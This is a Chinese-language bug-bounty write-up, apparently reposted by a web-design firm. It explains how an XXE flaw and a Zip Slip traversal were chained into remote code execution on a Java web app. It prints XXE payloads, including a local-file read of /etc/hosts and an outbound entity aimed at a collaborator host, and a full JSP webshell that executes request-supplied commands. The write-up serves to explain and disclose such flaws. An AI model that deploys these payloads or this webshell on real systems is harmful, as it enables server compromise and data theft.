今天就跟大家聊聊有關如何利用XML和ZIP格式解析漏洞實現(xiàn)RCE，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據(jù)這篇文章可以有所收獲。

創(chuàng)新互聯(lián)建站專注于企業(yè)成都全網營銷、網站重做改版、巴州網站定制設計、自適應品牌網站建設、H5網站設計、商城網站定制開發(fā)、集團公司官網建設、成都外貿網站建設公司、高端網站制作、響應式網頁設計等建站業(yè)務，價格優(yōu)惠性價比高，為巴州等各大城市提供網站開發(fā)制作服務。

在該篇Writeup中，作者通過利用XXE和ZIP文件目錄遍歷漏洞，在目標Web應用系統(tǒng)中成功創(chuàng)建了Webshell，實現(xiàn)遠程代碼執(zhí)行（RCE）。

目標Web應用情況

在參與某個眾測項目過程中我遇到了一個Web應用，它可以執(zhí)行某種通用文件類型的處理，這里我們暫且把該種文件類型稱為.xyz吧，通過Google查找，我發(fā)現(xiàn)這種.xyz文件類型其實就是包含了XML和其它多媒體內容的ZIP打包文件，其中的XML文件相當于一個清單，用于描述包內內容。

這就是我們通常用的打包模式，比如，如果你用unzip命令去把一個.docx文件解包，運行unzip Document.docx命令之后，我們可以看到以下內容：

Archive:  Document.docx  inflating: [Content_Types].xml       inflating: _rels/.rels               inflating: word/_rels/document.xml.rels    inflating: word/document.xml         inflating: word/theme/theme1.xml     inflating: word/settings.xml         inflating: docProps/core.xml         inflating: word/fontTable.xml        inflating: word/webSettings.xml      inflating: word/styles.xml           inflating: docProps/app.xml

另一種常見的打包解包方式就是.apk文件，它其實就是一個包含了一個AndroidManifest.xml和其它內容的ZIP包文件。然而，如果開發(fā)人員在應用部署過程中經驗不足，那么，上述提到的打包機制就會產生安全問題。本質上來說，這些“問題”或“漏洞”實際上是XML和ZIP構建格式特性導致的，關鍵在于XML和ZIP解析器如果去處理操作不同格式的特性。但不幸的是，出現(xiàn)漏洞的情況時有發(fā)生，尤其是開發(fā)人員在使用默認配置的場景下。在此，我們先來了解一下XML和ZIP格式可以導致漏洞的“特性”。

XML External Entities XML外部實體注入漏洞

XML文件支持外部實體（external entity），外部實體的作用是可以讓XML文件從本地或遠程的其它源地址加載提取文件，某些情形下，因為能方便地從不同源地址導入數(shù)據(jù)，所以這種功能非常有用。但是，如果其中的XML解析器配置不當，可以讓用戶自行聲明定義外部實體輸入，那么，嚴重攻擊者就能從當前服務端的本地或內部獲取敏感數(shù)據(jù)，或執(zhí)行惡意操作。我們稱它為XXE外部實體注入攻擊，其實說白了還是默認配置的問題。

OWASP是這樣定義XXE攻擊的：

XML外部實體攻擊是一種針對解析XML格式應用程序的攻擊類型之一，此類攻擊發(fā)生在當配置不當?shù)腦ML解析器處理指向外部實體的文檔時，可能會導致敏感文件泄露、拒絕服務攻擊、服務器端請求偽造、端口掃描（解析器所在域）和其他系統(tǒng)影響。采用了XML庫的JAVA應用通常存在默認的XML解析配置，因此容易受到XXE攻擊。為了安全的使用此類解析器，可以在一些解析機制中禁用XXE功能。

ZIP目錄遍歷漏洞  

由于ZIP格式的問題導致ZIP目錄遍歷漏洞在早期就被利用，但2018年Snyk披露的Zip Slip漏洞尤為引人關注，Zip Slip漏洞可能會造成任意文件被覆寫，很多流行的ZIP解析庫和JAVA項目都受到該漏洞影響。

攻擊者可以利用該漏洞構造一個特制的ZIP壓縮文件，在其中包含進可對目錄進行遍歷的文件名，如../../../../evil1/evil2/evil.sh，當存在漏洞的ZIP庫對該特制ZIP包進行unzip解包時，不僅會把evil.sh解壓到一個臨時目錄，還可以把它解壓到一個由攻擊者指定的位置（如這里的/evil1/evil2），可導致惡意文件被寫入磁盤，或是敏感文件被覆寫。如果定時任務腳本cron job被覆寫或root目錄被植入webshell，最終結果就可形成遠程代碼執(zhí)行。和XXE注入漏洞類似，ZIP目錄遍歷漏洞在JAVA應用中也普遍存在。

Zip Slip漏洞影響多種開發(fā)生態(tài)系統(tǒng)，包括JavaScript、Ruby、.NET 和 Go，以及一些缺乏處理高級壓縮包中心庫（如zip）的JAVA項目中，此類壓縮包處理庫的缺失，導致一些漏洞代碼片段在StackOverflow等開發(fā)社區(qū)中共享流傳。

發(fā)現(xiàn)XXE注入漏洞

現(xiàn)在，有了以上的了解認識之后，我們回到實際的漏洞測試中來。目標Web應用接收通用類型文件的上傳、解壓、XML清單文件解析，之后會返回一個包含XML清單信息的確認頁面。比如，如果ZIP文件mypackage.xyz包含以下manifest.xml清單文件：

<?xml version="1.0"?><packageinfo>    <title>My Awesome Package</title>    <author>John Doe</author>    <documentation>https://google.com</documentation>    <rating>4.2</rating></packageinfo>

上傳mypackage.xyz至目標Web應用之后，我會得到以下確認頁面：

這里，我首先測試的是XSS漏洞。有一點要注意的是，因為<htmltags>標簽會被解析為XML節(jié)點，所以XML形式的XSS注入不支持<htmltags>，必須要在XML文件中對其進行轉義，如“&amplt;htmltags&ampgt;”，但不幸的是，目標Web應用對這種轉義的輸出做了過濾。

那我們就來試試XXE注入漏洞吧，以下我在XML文件中引入了一個遠程外部實體：

<?xml version="1.0"?><!DOCTYPE title [<!ENTITY xxe SYSTEM 'https://mycollab.burpcollaborator.net'>]><packageinfo>    <title>My Awesome Package&ampxxe;</title>    <author>John Doe</author>    <documentation>https://google.com</documentation>    <rating>4.2</rating></packageinfo>

在我的Burp Collaborator實例中并沒有返回任何回顯，剛開始我想著是不是XXE漏洞被攔截阻斷了。但其實不然。XXE Payload相關的非系統(tǒng)外部實體、本地文件、遠程文件我們都需要一一嘗試才能證明XXE漏洞是否存在。畢竟，如果目標Web應用部署了防火墻，其標準的防火墻規(guī)則會阻止傳出的網絡連接，導致遠程外部實體解析失敗，但我們可以嘗試看看外部實體是否可以成功解析讀取本地文件。

幸運的是，我用外部實體構造了讀取本地文件的以下XML，其中的/etc/hosts命令竟然在確認頁面中成功回顯了：

<?xml version="1.0"?><!DOCTYPE title [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]><packageinfo>    <title>My Awesome Package&ampxxe;</title>    <author>John Doe</author>    <documentation>https://google.com</documentation>    <rating>4.2</rating></packageinfo>

測試RCE

在通常的白帽測試中我們就可能到此為止了，利用上述的XXE漏洞可以獲取目標Web系統(tǒng)內的本地數(shù)據(jù)文件和其它包括管理密碼在內的敏感配置信息了，足夠寫好一份漏洞報告了。

但是，接下來我還想測試另外一個漏洞：ZIP解析漏洞。現(xiàn)在我們有了這些條件：目標Web應用會解壓ZIP包、解析讀取其中的manifest.xml清單文件、然后返回一個確認頁面，另外還存在一個XXE漏洞，那會不會還有其它未知漏洞呢？

先來測試ZIP目錄遍歷漏洞吧，這里我用到了目錄遍歷Payload生成工具-evilarc，它是一個簡單的Python腳本。我要確定的是把目錄遍歷Payload放到本地文件系統(tǒng)中的具體位置，好在XXE漏洞在此可以幫上忙了，外部實體對本地文件的讀取不僅限于文件，還可以讀取目錄。所以我構造了如file:///nameofdirectory的外部實體，用它來讀取其中的目錄列表內容。

對目錄列表研究一番，我發(fā)現(xiàn)了目標Web應用系統(tǒng)中的文件/home/web/resources/templates/sitemap.jsp，它與目標Web應用https://vulnapp.com/sitemap非常相似。于是，我把webshell內容放入其中把它進行打包，為了防止其被普通用戶發(fā)現(xiàn)，我對它設置了訪問限制參數(shù)。webshell內容如下：

<%@ page import="java.util.*,java.io.*"%><%    if (request.getParameter("spaceraccoon") != null) {        out.println("Command: " + request.getParameter("spaceraccoon") + "<BR>");        Process p = Runtime.getRuntime().exec(request.getParameter("spaceraccoon"));        OutputStream os = p.getOutputStream();        InputStream in = p.getInputStream();        DataInputStream dis = new DataInputStream(in);        String disr = dis.readLine();        while ( disr != null ) {            out.println(disr);             disr = dis.readLine();         }        out.println("<BR>");    }%><ORIGINAL HTML CONTENTS OF SITEMAP>

把這個包含了Webshell的包上傳至目標Web應用之后，我嘗試用https://vulnapp.com/sitemap?spaceraccooon=ls方式去訪問Webshell，沒任何東西回顯......，頁面和https://vulnapp.com/sitemap一樣。但就像俗話說的：對同一件事情舉一反三且滿懷期待，就是瘋狂。

延遲、緩存和其它網絡特性可以對同樣的輸入造成不同輸出，這里的情況是，由于目標Web服務端緩存了頁面https://vulnapp.com/sitemap之前的內容，所以剛開始無法訪問到我的內置webshell，經過幾次刷新，終于可以訪問到webshell了，其中的命令ls被成功執(zhí)行，返回了Web根目錄和其它站點頁面信息。RCE成功了！

慣例優(yōu)先原則(Convention over Configuration)

對于很多項目來說，遵從已有慣例或使用合理的默認選項大概是最合理簡便的做法。這篇Writeup中的目標Web應用為JAVA架構，綜合OWASP 和 Snyk的漏洞披露可知JAVA在XML和ZIP格式處理存在缺陷，加上一些默認的解析機制和第三方庫，漏洞就如此形成了。

除JAVA架構外，幾乎大多編程語言和框架都存在XML和ZIP格式處理問題，開發(fā)人員在配置此類框架和應用時需格式注意，一個小的配置錯誤就能導致致命漏洞。

看完上述內容，你們對如何利用XML和ZIP格式解析漏洞實現(xiàn)RCE有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道，感謝大家的支持。

網頁名稱：如何利用XML和ZIP格式解析漏洞實現(xiàn)RCE
網站網址：http://chinadenli.net/article24/jggjce.html

成都網站建設公司_創(chuàng)新互聯(lián)，為您提供做網站、品牌網站制作、網站策劃、動態(tài)網站、虛擬主機、網站設計

廣告

聲明：本網站發(fā)布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經允許不得轉載，或轉載時需注明來源： 創(chuàng)新互聯(lián)